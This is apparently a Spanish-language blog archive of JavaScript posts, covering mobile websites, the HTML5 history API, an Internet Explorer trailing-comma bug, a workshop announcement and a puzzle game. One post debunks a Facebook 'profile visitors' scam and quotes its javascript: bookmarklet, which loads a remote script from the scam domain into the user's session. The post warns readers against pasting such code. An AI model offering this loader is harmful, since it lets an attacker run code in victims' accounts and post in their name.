Archivos de Tags: Javascript

Ventajas y Desventajas de un sitio web para móviles

La semana pasada les platiqué sobre las ventajas y desventajas de implementar responsive design en un sitio web. Hoy vamos a abundar sobre una de las soluciones que les hable en el artículo pasado, implementar un sitio web especial para dispositivos móviles. Antes de hablar específicamente de los sitios web para móviles les voy a comentar algo de historia. Hace algunos años, dominaban las redes 2G (GSM), estas eran para su tiempo, más veloces que la primera generación de celulares digitales, además de hacer llamadas podíamos mandar mensajes de texto, mensajes multimedia y visualizar contenido de Internet. En ese tiempo los primeros sitios web para móviles eran muy pero muy limitados y solo mostraban texto. Algunas personas llamaron a ellos “sitios para conexiones WAP“, si nacieron a principios de los noventa o antes se habrán dado cuenta de ello, habrán conocido los celulares con teclado numérico en el cual el número de veces que presionabas una tecla era la letra que te mostraba.

vista-teclado-celular-e71-doble-sim-card-tv

Pues bien a que voy con esto, los gigantes del Internet como Google empezaron a adquirir dominios como 466453.com. (si entran verán que redirige a Google) ¿Por qué un dominio con números? por lo que les comente anteriormente, era más facil presionar una sola vez la tecla de ese número que varias veces, si observan en la imagen en esos números se encuentran las letras de la palabra “Google”. Esos fueron los primeros sitios para dispositivos móviles, después de varios años se vendría una revolución con el surgimiento de los smartphones.

Leer más »

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Redes sociales y la adopción de los nuevos estándares

Mucho se ha dicho y comentado de la nueva interfaz de Facebook, cambios que hacen muy parecido a Google+ y Twitter, algunos dicen que hasta tiene la escencia de 4Chan. Pero desde hace tiempo se ha venido comentando mucho acerca de la adopción de los nuevos estándares web en Facebook, como el reproductor de videos en HTML5. Es algo muy técnico, pero creo yo que es importante resaltarlo, ya que ahora con la nueva interfaz me he podido percatar de que en las URLs ya no aparece el HashBang del que les había comentado antes, empezé a analizar un poco, viendo el codigo fuente me encontre con el doctype de HTML5, posteriormente con el Firebug empezé a ver las consultas AJAX, y efectivamente las actualizaciones se hacían sin recargar toda la pagina, pero cambiaba completamente la URL en la barra de direcciones.

Recorde que hace tiempo ya había visto un tutorial para el manejo de URLs en HTML5, esto era cambiar la dirección que estaba en la barra de dirección ejecutando una sola función en Javascript.

Como sabemos, en Javascript el objeto principal es el window, con el cual podemos controlar todo lo que es la ventana de navegación, historial, DOM, etc. Ya habíamos hablado también del Hash, el cual es toda esa cadena de caracteres que tenemos en la URL despues del #. Este Hash esta en el subobjeto history. Es decir:

  1. window.history

Este objeto contiene una serie de funciones que nos ayudan a manejar el historial de navegación, sin embargo en el nuevo estandar HTML5, tenemos las funciones:

Leer más »

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Una gran falsedad: Saber quien visitó tu perfil de Facebook

Gracias a mi experiencia como desarrollador web, he podido darme cuenta a tiempo de algunas falsedades que circulan en el Facebook, como por ejemplo, saber quien visitó tu perfíl. Si bien, hay formas de acceder a la información del usuario y hacer algunas acciones como publicar en su muro, pero únicamente por medio de su API. Sin embargo, gente con demasiado tiempo libre con ganas de molestar se ha aprovechado de la inocencia de los usuarios para hacer este tipo de dagas.

Hoy, en mi perfil de facebook me he topado con invitación a un evento que no existe pero que cita a un sitio llamado espiaface.com. Este sitio te proporciona un “manual” para instalar una aplicación y saber quién visitó tu perfil, pero la única forma de hacer eso es:

  • Que Facebook desarrolle un módulo que haga dicha funcionalidad
  • Que Facebook permita al menos insertar una imagen o un código que pueda llamar a una aplicación que utilice el API de Facebook y nos notifique.

Pero como ninguna de los dos existe, pues no hay forma de saber quien visitó tu perfil. Pero si tu eres un usuario que ya cayó en dicha falsedad, no te preocupes ya que “el programita” funciona así:.

Al pedirte que entres al facebook y pongas el siguiente código:

  1. javascript:(a=(b=document).createElement('script')).src='//app.espiaface.com/app.js?'+Math.random(),b.body.appendChild(a);void(0)

Estas ejecutando código Javascript dentro de Facebook, este código es el siguiente: (es muy extenso, así que puedes verlo). Este código te simula una muestra de quien visitó tu perfil y cuantas veces, claro estos parámetros son falsos y toma usuarios al azar. Después te crea un evento para saber quien visitó tu perfil, así mismo te dice que la aplicación está iniciando, cosa que no es cierto. En pocas palabras no se instala ninguna aplicación, solo es un programita que se ejecuta una sola vez por ti.

Sé que no le entiendes al codigo de la linea anterior, pero gracias a una herramienta que se llama JSBeautifier, que te permite comprimir, descomprimir, encriptar y desencriptar código fuente Javascript, entonces el siguiente codigo lo desencriptamos y tenemos el siguiente resultado.

Entonces estoy infectado por un virus o algún ovni controla mi computadora por escritorio remoto?

Bueno tampoco no exageremos, pero descuida, tu computadora no se infectó por algún virus y ningun ovni o entidad extraterrestre controla tu computadora, simplemente fue la ejecución durante un momento de un programa que sin darte cuenta permitiste que hiciera lo que hiso.

Solo hay una cosa a tomar a consideración: no hay ninguna aplicación que te diga exactamente quien visitó tu perfil (y si la hay, escriba un comentario donde la puedo encontrar) y no vuelvas a escribir nada que empiece con “javascript:” en tu barra de dirección del navegador. Estas personas conocen muy bien el funcionamiento de Facebook con Javascript

Espero haberte ayudado. Ahh cierto se me olvidaba, todo lo que hizo el programita tienes que eliminarlo manualmente. Tanto el evento como el mensaje en el muro.

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Internet Explorer y la coma de la muerte en Javascript

Ok, tál vez exageré mucho con ese atributo de la coma de la muerte, aunque para mi he de decir que si fue una pesadilla. Bueno les voy a relatar un poco. Desde el momento que decidí aprender Javascript, siempre quize aprender primeramente Javascript nativo, osea sin frameworks y después con ayuda de estos últimos. Mi experiencia con el nativo fue muy grato, aunque a la vez un poco frustrante, ya que cada rato tenía que estar escribiendo el famoso document.getElementById. Posteriormente y despues de tantas pruebas y jueguitos con javascript nativo, decidí que era hora de empezar a escribir codigo Javascript con frameworks, del cual estoy trabajando con jQuery, ya que hay mucha documentación, ejemplos y plugins que puedes usar con este framework.

Este framework, en algunas de sus funciones recibe como parámetro un objeto, o mejor dicho, una notación de objeto en javascript, valla un objeto JSON (Javascript Object Notation), en el cual es muy similiar a los arrays de PHP, en el cual pones el identificador, seguido de dos puntos ( : ) y despues su valor, y al ultimo una coma para separarlo de otra declaración de un identificador. Por ejemplo:

  1. {
  2. "Identificador" : "Valor",
  3. "otroid" : 123,
  4. "comoFuncion" : function(){ /* contenido */}
  5. }

Por algo lo llaman el hermano menor de Java, es muy parecido a la declaración de arreglos en Java, con la diferencia que sus identificadores son enteros con la posicion en que son declarados. Pero vallamos al hoyo donde estaba el clavo. Como les comenté, despues del valor se escribe una coma para separarlos, pero si en la ultima declaración le dejan una coma al final es donde empieza el apocalisis, ya que el codigo se ejecuta correctamente en firefox y los navegadores estandar, pero Internet Explorer no marca error, pero tampoco ejecuta el codigo. Ya hablando con codigo, quedaría así:

  1. {
  2. "Identificador" : "Valor",
  3. "otroid" : 123,
  4. "comoFuncion" : function(){ /* contenido */},
  5. }

Esto pude probarlo ahora en el taller que estuve impartiendo en la semana académica del tec, ya que ni en Internet Explorer 7 corría el código. ¿Error de Microsoft o de Mozilla?. No lo sé, pero para eso existen los estandares, aunque pienso que en Firefox y demás navegadores estandares no debería ejecutarse el código pero sí mostrar el error, para tener una buena costumbre como programadores. ¿Ustedes que piensan/opinan?

Referencia:

JSON – Wikipedia, la enciclopedia libre

Imagen vía: Maestros del Web

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Taller Javascript/AJAX en el ITTepic

Del 5 al 8 de Abril se realizará la Semana Academica del Instituto Tecnológico de Tepic, un evento en el cual todas las carreras suspenden clases (ujuss!!!) para ofrecer a los alumnos talleres y conferencias de diversos temas para cada carrera (más ujusss!!!!!). Anteriormente, cada carrera tenía su propia semana, ahora la administración de la institución ha tomado la iniciativa de que todas las carreras tengan su semana en una sola. En la carrera de Ingeniería en Sistemas Computacionales (como algunos ya saben que estudio esa carrera), se realizaba la Feria de Programación y Cultura, así cada carrera tenía su semana con su propio nombre.

Pues bien, este año, por motivos personales no podré asistir a las conferencias que son en la tarde, pero tomé la iniciativa de dar un taller. Este taller será de Javascript y AJAX. Será impartido todos los días que dure la semana academica con un horario de 9:00 a 13:00 hrs. Podrán participar alumnos y ex-alumnos de la institución, aún no se sabe si tambien abrirán para publico en general o lo dejarán solo para personas de la institución (alumnos, docentes, administrativos, etc). Tiene un costo de 100 pesos (baratisimo!) y podrán compartir la experiencia de aprender cosas nuevas.

Un saludo y espero verlos por ahí.

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

El 15, un juego hecho con HTML y JavaScript.

Hace ya algunos años, un amigo que acababa de entrar al Instituto Tecnológico de Tepic desarrolló un pequeño juego en Visual Basic, llamado El 15. Este juego consiste en un recuadro de 4×4, en el cual hay 15 números y un espacio vacío. Con este espacio puedes mover todos los números y acomodarlos de forma lineal horizontal, lineal vertical, en espiral y lo que tu imaginación te diga.

Pues bien, para eso, yo todavía seguía en la preparatoria y me encontraba aprendiendo Javascript (como siempre… autodidacta). Para eso, se me ocurrió, a modo de reto, crear ese mismo juego utilizando solo Javascript y HTML. Y a pesar de que mis conocimientos en programación no eran lo que hoy son (gracias a la carrera), pude desarrollar este jueguito. Esta configurado solo para detectar la posición correcta de los números en lineal horizontal. Así lo que los invito a que prueben este juego, cualquier critica constructiva, consejo o aclaración, bienvenida a los comentarios.

Demo del juego.
Descargar juego/código.

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio